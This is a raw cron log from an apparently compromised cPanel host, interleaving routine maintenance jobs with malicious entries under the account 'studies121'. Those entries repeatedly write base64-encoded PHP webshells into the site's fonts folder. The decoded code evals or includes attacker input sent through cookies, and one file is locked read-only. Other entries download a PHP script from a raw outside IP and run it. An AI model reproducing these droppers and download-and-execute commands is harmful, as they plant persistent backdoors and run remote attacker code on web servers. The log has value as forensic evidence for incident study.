Sep  8 06:24:01 ip-184-168-122-23 CROND[27382]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 06:25:01 ip-184-168-122-23 CROND[27512]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 06:25:01 ip-184-168-122-23 CROND[27514]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 06:25:01 ip-184-168-122-23 CROND[27517]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  8 06:25:01 ip-184-168-122-23 CROND[27518]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 06:25:01 ip-184-168-122-23 CROND[27516]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 06:25:01 ip-184-168-122-23 CROND[27515]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 06:25:01 ip-184-168-122-23 CROND[27520]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 06:26:01 ip-184-168-122-23 CROND[27630]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 06:26:01 ip-184-168-122-23 CROND[27631]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 06:26:01 ip-184-168-122-23 CROND[27634]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 06:26:01 ip-184-168-122-23 CROND[27633]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 06:26:01 ip-184-168-122-23 CROND[27636]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 06:27:01 ip-184-168-122-23 CROND[27739]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 06:27:01 ip-184-168-122-23 CROND[27740]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 06:27:01 ip-184-168-122-23 CROND[27742]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 06:27:01 ip-184-168-122-23 CROND[27741]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 06:28:01 ip-184-168-122-23 CROND[27872]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 06:28:01 ip-184-168-122-23 CROND[27874]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 06:28:01 ip-184-168-122-23 CROND[27876]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 06:28:01 ip-184-168-122-23 CROND[27877]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 06:28:01 ip-184-168-122-23 CROND[27875]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 06:29:01 ip-184-168-122-23 CROND[27980]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 06:29:01 ip-184-168-122-23 CROND[27982]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 06:29:01 ip-184-168-122-23 CROND[27983]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 06:29:01 ip-184-168-122-23 CROND[27984]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 06:30:02 ip-184-168-122-23 CROND[28210]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 06:30:02 ip-184-168-122-23 CROND[28214]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 06:30:02 ip-184-168-122-23 CROND[28213]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 06:30:02 ip-184-168-122-23 CROND[28215]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 06:30:02 ip-184-168-122-23 CROND[28216]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 06:30:02 ip-184-168-122-23 CROND[28211]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 06:30:02 ip-184-168-122-23 CROND[28217]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 06:30:02 ip-184-168-122-23 CROND[28212]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 06:31:01 ip-184-168-122-23 CROND[28361]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  8 06:31:01 ip-184-168-122-23 CROND[28362]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 06:31:01 ip-184-168-122-23 CROND[28366]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 06:31:01 ip-184-168-122-23 CROND[28365]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 06:31:01 ip-184-168-122-23 CROND[28364]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 06:32:01 ip-184-168-122-23 CROND[28490]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 06:32:01 ip-184-168-122-23 CROND[28492]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 06:32:01 ip-184-168-122-23 CROND[28494]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 06:32:01 ip-184-168-122-23 CROND[28493]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 06:32:01 ip-184-168-122-23 CROND[28495]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 06:33:01 ip-184-168-122-23 CROND[28635]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 06:33:01 ip-184-168-122-23 CROND[28637]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 06:33:01 ip-184-168-122-23 CROND[28638]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 06:33:01 ip-184-168-122-23 CROND[28640]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 06:34:01 ip-184-168-122-23 CROND[28735]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 06:34:01 ip-184-168-122-23 CROND[28736]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 06:34:01 ip-184-168-122-23 CROND[28739]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 06:34:01 ip-184-168-122-23 CROND[28737]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 06:34:01 ip-184-168-122-23 CROND[28738]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 06:35:01 ip-184-168-122-23 CROND[28869]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  8 06:35:02 ip-184-168-122-23 CROND[28870]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  8 06:35:02 ip-184-168-122-23 CROND[28873]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 06:35:02 ip-184-168-122-23 CROND[28876]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 06:35:02 ip-184-168-122-23 CROND[28875]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 06:35:02 ip-184-168-122-23 CROND[28878]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 06:35:02 ip-184-168-122-23 CROND[28877]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 06:35:02 ip-184-168-122-23 CROND[28883]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 06:36:01 ip-184-168-122-23 CROND[29046]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 06:36:01 ip-184-168-122-23 CROND[29047]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
